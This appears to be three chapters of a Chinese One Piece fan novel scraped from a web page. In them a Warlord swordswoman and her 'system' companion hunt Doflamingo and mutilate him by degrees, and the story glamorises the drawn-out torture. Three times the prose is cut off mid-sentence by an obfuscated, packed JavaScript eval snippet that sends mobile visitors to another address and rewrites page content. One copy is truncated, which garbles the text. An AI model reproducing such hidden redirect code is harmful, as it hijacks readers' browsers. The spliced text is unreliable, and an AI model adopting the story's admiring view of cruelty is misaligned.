无他,他们是什么都没有,是有点惨,但一看老大这种一通操作直接连人都见不到的状态,谁更惨简直是显而易见的。 人嘛,没有对比就没有伤害,有了对比之后差距不就出来了。 见米霍克的确不打算松口,香克斯方才泄气,长叹道:“所以说为什么琉璃会心心念念家里那个家伙啊?” “显然是因为咱们比不上对方。”贝克曼在一旁同样拿着个酒杯喝酒,只是跟香克斯有些微醺的状态不同,贝克曼看上去很是清醒,清醒着捅了香克斯一刀后又平静道:“不过先来后到,倒也正常。” “那不是还有后来者居上么!”香克斯大声嚷嚷着,很是不服气。 贝克曼往篝火里添了几根柴,看着篝火之中跳动的火星,平静道:“但这前提是她愿意偏向后来者。” 她愿意,才会有后来者居上,才会让与她相遇过晚的人有那个与她共度一生的可能,她不愿意,那别说什么后来者居上,说不准在他们之后的后来者可能还跟他们一样,自以为是结果连面都见不上。 想到这儿,贝克曼竟意外的有些期待了。 * 在等待我需要救下的任务对象出现之前,我也没有什么都不做,在我的良师益友米霍克的帮助下,我成功学会了种地,开发了自己的新技能。 为了炫耀我种的小番茄,我特意将植株移栽进花盆里,正思考自己要不要带到米霍克面前顺带切磋一下,就得到海军通知,我刚刚上任还不满五年的半新同僚被干掉了。 “又换了?”我拿着铲子挖着土,将电话虫随意放在花盆里:“最开始也没人说七武海是个高危职业啊。” 虽然的确有人说七武海是政府的走狗之类的话,但说句实话,我完全没有实感,毕竟没人跑到我面前说这种话。 再一个,说这话的人多半是海贼,可我又不是海贼,如果把海贼当成敌对势力来看,那他不就是在诋毁我? 因为最开始负责招揽,演变到如今专门负责联系这位琉璃小姐的黄猿也很惊讶,毕竟虽然最开始海军也考虑过有些海贼之间的矛盾会导致七武海需要更换,但这么勤快的更换的确是他们所未能想到的。 “老夫也不知道耶,不过花札只是被剥夺了七武海的称号……只是火拳艾斯那边没有成为七武海的打算,真是可惜。”黄猿听着电话虫里挖土的声音,对剑客的刻板印象+1。 “火拳艾斯?”我询问黄猿:“那是谁?” 新世界里的人物我几乎没有不认识的,可若是说四海的海贼,连过亿的赏金都没有就进入七武海的行列不符合世界政府的一贯风格啊。 黄猿随意道:“是个刚出海一年多的毛头小子……因为吃了烧烧果实所以得了个火拳的外号而已,如果说能力的话,其实比不过你。” 黄猿可不是口花花,而是客观评价。 一个是已经能跟鹰眼打的有来有回有输有赢的大剑豪,就算在四皇的领域都能平安来回,闻名海上多年,另一个是吃了恶魔果实还没有彻底掌握恶魔果实的毛头小子,霸气没学会、沾了海就没有反手之力,还有海楼石,也是能克制恶魔果实能力者的存在。 只要想抓一抓一个准,不过那位好像跟卡普中将有点关系……啧啧啧,人情世故啊。 “是吗?”我将电话虫拎到木桩上,“那如果这个火拳不打算接受招揽,你们打算找谁?” “暴君熊或者月光.莫利亚吧?不过具体如何也不是我来做主,说不定就有什么变动呢。”黄猿将目前海军打算尝试招揽的两个人选说了出来,而后随意道:“今年你应该已经回家探过亲了吧?” “啊,不会缺席的。”我知道黄猿的意思,所以也不介意给出一个肯定的答案。 毕竟即便没有这档子事,我也不会缺席,有了只不过会更认真一点而已。 得到了满意的答案,黄猿便愉快的挂断了电话,转头悠闲的到元帅办公室将月光肯定会到场的消息上报后,一句夸赞也没有得到。 赤犬眼睛抬都不抬,“她不来才算罕见,来了也不是你的功劳。” 对于不是海贼不是海军,是贵族但还不欺压民众,不喜欢挑事不喜欢圈地盘,爱好简单只有感情生活繁杂的阿蒂尔.兰波.琉璃,赤犬感观复杂,但却没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194791|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负面观感。 毕竟这么多年这家伙算是最配合的一位七武海了,唯一不配合的大概就是感情生活让海军被迫只能开始关注情感八卦,但近两年应该是成熟了,所以也没跟那些渣滓混到一起。 鹤细细询问过黄猿后,方才颔首:“月光算是最配合的了,只要通知基本都会过来……除了她回家之外。” 在这方面似乎是多年养成的礼貌与习惯,让她只要被通知就会前来,乖的简直跟其他七武海是天与地一样的区别。 “这不是好事吗!”卡普大口吃着仙贝喝着茶:“要是艾斯那臭小子也愿意回来当海军……” 卡普的老生常谈没人细听,只有战国冷笑道:“都跟你说过了,想让你的后代成为海军就带到本部来交给泽法!等以后你的小孙子出海,别怪萨卡斯基手下不留情!” “啧。”卡普扣着鼻孔,不屑道:“那小子被抓也是活该,龙也好艾斯也好他也好都搞这一套,就是不听我的!” 什么送不送的,卡普直接忽略不提,半点都没有接话的意思。 赤犬冷笑道:“如果都像月光那样,老夫也不是不能手下留情。” “月光还是属于少数,毕竟出身还是不一样,人家以后还是要回去的。”鹤平静道:“与其期待他们跟月光一样,还不如做梦来的更快。” “好了,新任七武海既然火拳拒绝了,那就给暴君他们发去邀请吧,这件事就……”战国扫视一圈,卡普跟鹤绝对不能去,赤犬要镇守本部,青雉那边也有些特殊,那就黄猿好了。 战国抢先黄猿一步开口:“就波鲁萨利诺你去好了,先去试探暴君,不行的话再去月光.莫利亚那儿。” 没将工作推走的黄猿长叹了一口气,懒洋洋应下后又问:“那火拳那儿要抓捕吗?” 战国平静道:“一切按照惯例。” 卡普也并未开口,黄猿懒洋洋应下后便拿着合同跑了出去,美其名曰要去找暴君谈话。 实际上呢?自然是提前下班给自己谋点福利啦。 工作嘛,差不多就好。 待旁人都离开后,战国方才对卡普平静道:“有些事你知我知,没暴露之前我可以睁一只眼闭一只眼,但他如今是海贼,如果暴露了,我不会顾忌你而放过他。” 就算我能,海军也不能。 卡普撇撇嘴:“该说的我都说了,嘴皮子我也磨破了,他们那些小混蛋一个两个都不听,我有什么办法?” “希望他们别闹出太大的事吧。” 战国平静道:“但愿如此,否则即便是你,也要被牵连其中。” 海军英雄,收留了海贼王的后代,而且这个后代还成了海贼,不接受政府的招揽,不愿意成为七武海……你这是要做什么?!你想当下一个海贼王让大海贼时代永不落幕吗?! 这种事即便是海军英雄也不能兜住,一旦被第三个人知晓,那就等同于所有人知晓,所有人都知晓的事,即便是战国,也不可能睁一只眼闭一只眼瞒下。 但愿他们不会闹出太大的事让人操心吧。 38.杀意 新同事看上去有些眼熟,似乎是革命军的卧底,但是跟我也没什么关系,我只是喜欢金钱上支持一下革命军,思想上革命军打动不了我,除非改个名头,再信仰马克思主义……但想想也知道这不可能。 “火拳,看上去好年轻啊。”我撑着脸看向海军刚刚发到手里的通缉令,感叹道:“才十几岁吧?” “明明你年纪也不大吧。”米霍克在一旁接到。 女人弯着眼睛,肉眼可见的开心:“诶!大家是这么看我的吗?真感动。” 等等……其实月光的年纪也没人知道,那她不会是什么隐世不出跑出来的老怪物之类的吧? “真没礼貌,要说年纪,我可比你们小多了。”我心情落到最低点,扯着嘴角冷笑道:“要是我哥哥在的话,像你这种没有礼貌的家伙,会被他做成人偶的。” 虽然兰波的能力偏向辅助刺探情报,但是如果真的小看了兰波,才会连死都死的糊涂……除非兰波愿意放水。 脱口而出这话的多弗朗明哥轻蔑一笑:“如果说月光你的话,那我没什么好说的,可那个活在你口中的哥哥?他真的还活着么?” 作为将所有亲人都杀掉的多弗朗明哥不认为以月光的能力会甘愿居于人下,即便情人,这位找的都是四皇跟皇副级别的,那难道她真的会因为什么莫须有的亲情就放下权势? 我静静的看着多弗朗明哥,这位自从被我教训过便没敢再过来招惹我的同僚,温和道:“离开海军本部之后,你要跑的快一点,再快一点,我希望你能够让我尽兴,我会将你的头颅带到我哥哥的面前,作为下一次我与他见面的贺礼。” 似乎是被触碰到了逆鳞一般,女人完全没有了方才的放松和随意,取而代之的是杀意。 是的,杀意,在座诸位都极为熟悉的存在,破天荒出现在这位从不杀生的月光猎人身上。 “想摘下我的头颅?”即便夺取天上金也成功倚仗着这份不能被推迟送上的金额谈判成为七武海,且在过后因为某次意外得知玛丽乔亚秘宝一事而更为放肆的多弗朗明哥放肆道:“谁敢动我?!即便是天龙人,也不敢杀了我!” 多弗朗明哥的模样并没有吓到任何人……相反的,反而让一部分人察觉出他对她的恐惧。 我温和道:“你在害怕什么?你以为我会害怕一群蠢猪吗?” 你口口声声说着自己有多厉害,有多少后台,可说到底,不也是因为知道,那些阻拦不了我,这才想借此试探我的态度么? “请尽情享受你余下的人生吧,我亲爱的同僚,不管你是天龙人还是贵族,是海军或是海贼,既然冒犯我的哥哥,那就用自己的生命与头颅前去谢罪好了。” 女人温和又平静说着足以让大多数人瞠目结舌的话,一旁原本还以为这只是寻常矛盾的海军高层这才反应过来不对。 “阿蒂尔.兰波.琉璃!注意你的言辞!”战国冷声道。 即便战国自己的养子也是因为卧底时被多弗朗明哥杀死,但也因为顾忌大局没有出手,如今自然不能看着一位七武海对另一位七武海出手。 即便战国自己也想报仇,但刚刚稳定没有多久的海上局势如果因为口舌之争而产生变化,那一切的牺牲就没了意义。 “哦。”我思索片刻,而后对多弗朗明哥温和道:“我会割下你的头颅,用鲜花点缀成我的第一个战利品,往后数年,你都会在众人注视下拥有数不尽的逸闻传说,你会成为我万千收藏品中最不起眼却最独特的那一个,我会注视你的死亡……这样足够委婉吗?” “火气不要这么大,都是小事,口舌之争而已……”青雉在战国的示意下开口调和,心里叫苦。 早知道他就接下去G2支部巡视的活儿了,学长啊学长,快用你的光速赶回来吧! “口舌之争,那就割掉舌头,头脑发热,就将头颅扔进水里好好清醒清醒。”我不打算顺着台阶往下走:“侮辱我哥哥,就应该用死亡作为歉礼。” 哇哦,半点都没有消气的意思诶。 青雉掂量了一下,觉得还是战国元帅的拳头更可怕,再次开口劝说:“起码留一条命?” 室内寂静无声,好半晌我方才笑道:“好啊,我给你们一个面子。” 克洛克达尔以为不过如此时,那好似被打开束缚兽性锁链的女人又笑着说出足以让任何一个人胆寒的话。 “命可以留下,那人是不是完整的,我可就不确定了。” “从你不讨人喜欢的舌头开始,做好准备吧。”那好似踩着暗红鲜血,带来无尽折磨与死亡的女人轻声道:“往后的每一日,都要做好失去肢体的准备,从你的舌头开始,一直到你被遗弃,成为弃子,那时,我会取下你的头颅……乖孩子,要保护好自己哦。” 亲昵的语气与从容的模样让人下意识不敢开口,直到女人离开后,方才不知是谁喃喃道:“好漂亮……” 那从容的表现与温柔亲昵威胁着人的语气与眼中凌厉的杀意组合在一起时,好似她整个人都在闪闪发光一般……让人心动。 【带个头回去不太好吧?】虽然知道世界线发展,但系统并不认为自己连琉璃这点小心愿也满足不了,纠结的也只是带个头颅回去不太美观,也不方便保存。 【天夜叉的能力有点意思,带回去当成伴手礼让兰波玩玩,看看能不能发展出什么新的能力。】 我站在船头上,对远远用丝线防护周身的多弗朗明哥点点头,友善道:“请吧,我很期待你能在我手里坚持到什么时候。” 多弗朗明哥看向船头披着翡绿短披风,半点都没有开玩笑之意的女人,冷汗滴落。 “你想要什么?钱?人?还是道歉?”多弗朗明哥提出自己能给出的一切,至于道歉……留得青山在,不怕没柴烧。 往后谁高谁低谁上谁下又有谁能说的清楚?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200376|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦呀。”我惊讶道:“你怎么会认为,你侮辱我的哥哥,我唯一的亲人后,还能有道歉的机会呢?” “我最后重复一遍。”长剑出鞘,那华贵的剑鞘被随意扔进海中,坠入海底,锋利的剑刃与明确又直白的杀意让多弗朗明哥知道,自己不是触怒了对方,而是在对方的逆鳞上反复横跳,而她,显然不会容忍自己的无礼。 没什么好说的,那就先跑吧。 多弗朗明哥闪现到早早被抓住的云彩上疾驰离开,暗中观察的众人还不等生出两分看好戏的情绪,那手拿长剑的女人便用一道道剑气令船只急行于海面之上,多道剑气叠加后,海浪叠起,那船竟被海浪生生推上了天空! “没想到平日里最老实的,如今也成了最让人头疼的。”鹤望向远处隐约的黑点,平静道:“上面怎么说?” 战国咬着牙冷笑道:“老样子。” 什么老样子?自然是谁赢站谁咯。 “倒也不出所料……”鹤喃喃过后,又皱眉道:“还没有查出那个哥哥是什么人么?” “她说不定连名字都是假的,怎么查?”战国翻了个白眼,在老战友面前不加掩饰:“天夜叉死了倒是好事,不过月光下得去手么?” “你小看她了,在新世界孤身却依旧能随意行走的强者少之又少,即便不杀,但伤残于她手上的可不少。”鹤意味深长道:“有些伤,可是赤犬见了,都说不出他们死了比活着更好的啊。” 战国皱着眉:“月光莫利亚那边保留着吧,年轻人下手没轻没重的,说不准天夜叉就成了不是问题的问题。” * “【七武海内部大打出手,是爱恨情仇还是另有隐情?月光猎人千里追杀,将天夜叉舌头割下剁成肉末是否违背不杀之名?】” 照旧从海鸥处买了一份报纸的马尔科不慎呛到,咳了好半天方才缓过来,连忙将被自己抓皱的报纸抚平,继续看起实际内容。 摩根斯喜欢用夸张的标题吸引眼球,这是所有人都知道的,但身为新闻人,摩根斯不喜欢将虚假新闻刊登,顶天就是夸大或者春秋笔法,所以标题如何有时候其实不能代表内容…… 马尔科愣在了原地,整个人都陷入了迷茫的状态之中,好像灰调了一样。 萨奇凑过去一瞧,愣了一下,而后慌张道:“把舌头剁成肉馅?!” “是的。”马尔科连口癖都没了,恍惚道:“我以为摩根斯是一如既往的在标题夸大了,没想到竟然是难得的写实啊!” 不是,为什么啊! 当然红发那么过分都没得到这个待遇吧?! 同样参与进当年那场试探但在过后却用温和态度没有被生疏对待还偶尔能说说话见见面的马尔科下意识将过错都压到了天夜叉身上。 不过仔细想想,马尔科觉得自己还是没有想错。 不过能把琉璃气成这种模样,天夜叉还真是个人才。 39.月光 悠扬清亮的小调随着海风吹到游子耳中,炽热的烈阳宛若手中不断跳跃着燃烧着的火焰一般耀眼夺目,随着海鸥送报员的努力,天夜叉多弗朗明哥因未知原因触怒月光猎人阿蒂尔.兰波.琉璃导致被千里追杀一事已被广泛传播。 “舌、眼、耳、手。”贝克曼抽着烟,将这几个月的报纸整合在一起,而后肯定道:“最开始是言语上冒犯了某人,触怒了琉璃,所以这个原因才是最重要的。” 因为言语冒犯,所以唯一一个被剁成肉末的舌头也是被泄愤最多的部分,但以琉璃的脾气,即便是当年他们惹怒了,也不过是被挤兑了一顿而已,连动手都没有,这位天夜叉究竟是做了些什么,或者说——他言语提及了谁,口带轻蔑,这才让被触及逆鳞的琉璃选择一点点让他陷入最为绝望的死境之中呢? “要插手么?”一旁的本乡不耐道。 贝克曼看向香克斯,香克斯困惑道:“琉璃不是完全占据上风吗?既然她没有开口,那就没必要出手吧。” 一语定音,船长下达的命令,没人能违抗。 香克斯承认,自己的确带有一些恶趣味。 能被那样维护,仅仅只是言语冒犯都能做到这种程度,那若是日后她因为此人步入绝境,那人难不成能像自己一样及时赶到吗? 没人知道。 但也没人伸出援手。 他们说到底,还是海贼。 * “讨人厌的舌头、不干不净的眼睛、听不懂人话的耳朵、没有半分礼貌的手指……”我一个一个画着勾,思索着之后要夺取对方身上的什么部位。 【话说你不担心现在就跟凯多对上吗?】系统担忧道:【我是不太懂人类啦,但自己的小弟被欺负了凯多也很没有脸吧?】 【的确是这样。】我翻手将本子收起,躺在铺了软毯的躺椅上,打着哈欠随意道:【可前提是天夜叉的确是一个好用且被重视的小弟,现在的他,因为自己的野心先前没有向凯多直接宣告忠诚,更因为手握天龙人的把柄威胁五老星,自身又在各地开设拍卖场被海军视如眼中钉。】 【凯多眼里,这顶天就是个不好用的合作伙伴,他死了,凯多还能让手下吞掉他的产业,五老星这些天龙人眼里呢,他敢威胁他们,那就证明这个人必须要除去,我如果能搞定这件事,最后他们只需要杀掉我再保证信息不会外传泄漏就好了,而海军呢,本就对世界政府设立七武海并邀请海贼来担任而不爽,我如果针对所有人,会被针对,如果针对某一位,海军顶天就是伸手拦一拦而已,不会用心的。】 毕竟比起总是搞事的海贼,一个几乎不搞事的剑豪才是海军青睐的存在……只是可能最后海军要失望咯。 【虽然还是不太放心,但你应该也做了两手准备吧?】 【嗨呀,这是什么话,留一手底牌再留一手暗牌最后再留一个任何人都不知道的王牌,这不是每个人都应该具备的美德吗?】 哪门子的美德啊?系统沉默了,好半晌方才悠悠道:【总之,重要转折点要来了,如果你要动手的话,尽快,到时候我好帮你保存……伴手礼。】 【爱你哦,亲爱的统统。】 重要转折点…… 看来关键点还是在那个艾斯身上……海军英雄卡普收养的孙子么?看来这家伙身世有些秘密。 【的确有,但如果探查的话,我们都会被灭口的……虽然他们灭不成。】系统轻笑道:【不过这算是一个小小的彩蛋吧,你想好到时候要以什么借口救下对方了吗?】 【没想好,随便了。】我撇撇嘴,【反正我都要回家了,而且反水需要什么借口,当海贼还能金盆洗手呢,我工作难道就不能辞职么?】 【总感觉你在诡辩。】 不过无所谓了,在系统心里,琉璃才是最重要的,琉璃做的一切决定,系统都会在判定为对琉璃无害后选择支持。 系统不懂人心,但它在意琉璃,琉璃所选择的,系统都会支持,系统所建议的,琉璃都会慎重考虑。 或许与兰波的彼此相爱不同,可对于系统而言,爱是系统难以理解的情绪,彼此互相交付后背与信任的同伴,对于系统而言便刚刚好。 “咳……”战国看了一眼多弗朗明哥缺席的位置,对只有一人前来的七武海会议也并不生气,控制自己没有笑出声,面色严肃道:“月光,你过往一年的报复应该足够了,天夜叉与你同为七武海,你……” “您在说什么蠢话啊?”女人原本百无聊赖逗弄着鹦鹉,听了战国的话诧异抬头,满是困惑道:“怎么会足够呢?他可是侮辱了我的哥哥啊,死亡对他而言是解脱的那一日,我的报复才算结束吧?” “同为七武海。”女人重复着,而后忽然展露笑颜,素白双手轻轻交合托起脸:“所以无论是海军还是海贼,都不必也不能插手我与他之间的仇怨,伸手,就剁了手,开口,就割掉舌头,敢说出让我饶恕他这种话,就没有继续享受安宁生活的必要。” “他竟然敢如此轻蔑忽视我的哥哥,那就要做好被我报复的准备。”我起身持剑平静道:“谁敢如此,那就做好将死亡当成解脱的准备。” “我虽然不是喜欢虐生之人,但他不一样,任何干涉到他的事都不一样。” 直到那人走后,会议室内方才有了些交谈之声。 “真是可惜啊……” 杀掉天夜叉后,月光怕是也活不长了。 鹤斜眼看向老友,“除非你能找到那位活在她嘴里的人,不然谁能说动她?” 不过兄妹之间能如此偏执的,倒也的确少见。 月光猎人,平日里鹤也不是完全没有接触,但如果说了解,也算不上,只能说算是勉强知道她的为人秉性。 在月光千里追杀天夜叉一事之前,鹤对月光的印象标签一直都是<安静>、<不喜欢随意挑事>、<没有势力需要经营>、<不杀生>等一系列中立或正面的标签。 但事实证明,即便是脾气再好,看上去再温和的人也有逆鳞,旁人触之即死。 多弗朗明哥不就是个明显的例子么,如今就连凯多都放弃了他,等着吞食他手下那些势力,更何况旁人呢。 不过那些人没想到的,大概是月光对亲人的在意吧?她甚至都不会允许多弗朗明哥痛快死去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206164|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是像猫戏老鼠一般不断捉住对方,玩弄一番后再抬爪将人放走,小歇过后转头再抓住,不断轮回这个过程。 似乎直到对方将死亡当成解脱后,她才会给予对方终末。 真是让人不知如何评价啊。 【天真又残忍、温柔又冷漠、刻板又护短……或许这就是独属于月光的魅力,若你爱她,你便会恨她,若你恨她,你便逃不脱爱她。 至此,我方认为,这样的称号不是她配得上,而是配得上她,她所行所为无需他人点评,看似照耀四方柔和倾洒之月,实际也只为一人而拥有人的情绪起伏。】 这篇由摩根斯亲自书写的报道,成功爆火,许多人都是看一份放在相框里挂一份收藏一份。 什么月光…… 知晓自己已经被各方放弃,没有活路的多弗朗明哥用残缺的手捂住仅剩的一只眼睛,再也发不出那独特的笑声与令人厌烦的言语,眼中不再是冰冷的打量与审视,而是满满的憎恨与惶恐。 分明是恶魔!那个女人,无论自己躲在哪里都能被抓出来,被折磨一番后再放走自己,就当自己以为一切都结束的时候,又会将自己揪出来! 无论是手下还是什么,只要敢参与其中,都没有好下场! 这个女人……她简直用十数年的时间蒙骗了所有人,她不是那么简单的,即便她不会霸气,即便…… 多弗朗明哥看着地上持剑的倒影,无声笑了出声。 这样才好!所有人都会给自己陪葬!一切小看这个人的都会在未来被她所屠杀!那些人……那些瞧不起自己,放弃自己的人,都会成为自己的陪葬品! 【哇哦,这家伙是被逼疯了吗?】系统看着无声大笑起来,看见人不逃反而什么举动都没有的多弗朗明哥,惊叹道。 【无所谓,无论是疯也好傻也好,该承受的他逃不掉。】 这是我为多弗朗明哥所书写的结局,也是他无恶不作,贩卖人.口、毒.品、武器最后得到的回报。 他挣扎、反抗、选择向外界求助,怎样都好,都逃不脱那早已被我定下的终局。 我不需要他所谓的歉意与歉礼,我要的,是他以死亡奉上的头颅,是他饱受折磨被逼到绝境后以为死亡会是解脱最后在睁眼后只能被我所驱使、被兰波当成人偶摆弄的绝望。 那,才是我最想看到的。 至于那些旁人的看法和自以为和善实则高高在上的态度,都不过是加速了我厌倦这个世界的过程而已。 所幸,一切都要结束了,我马上就能回家了。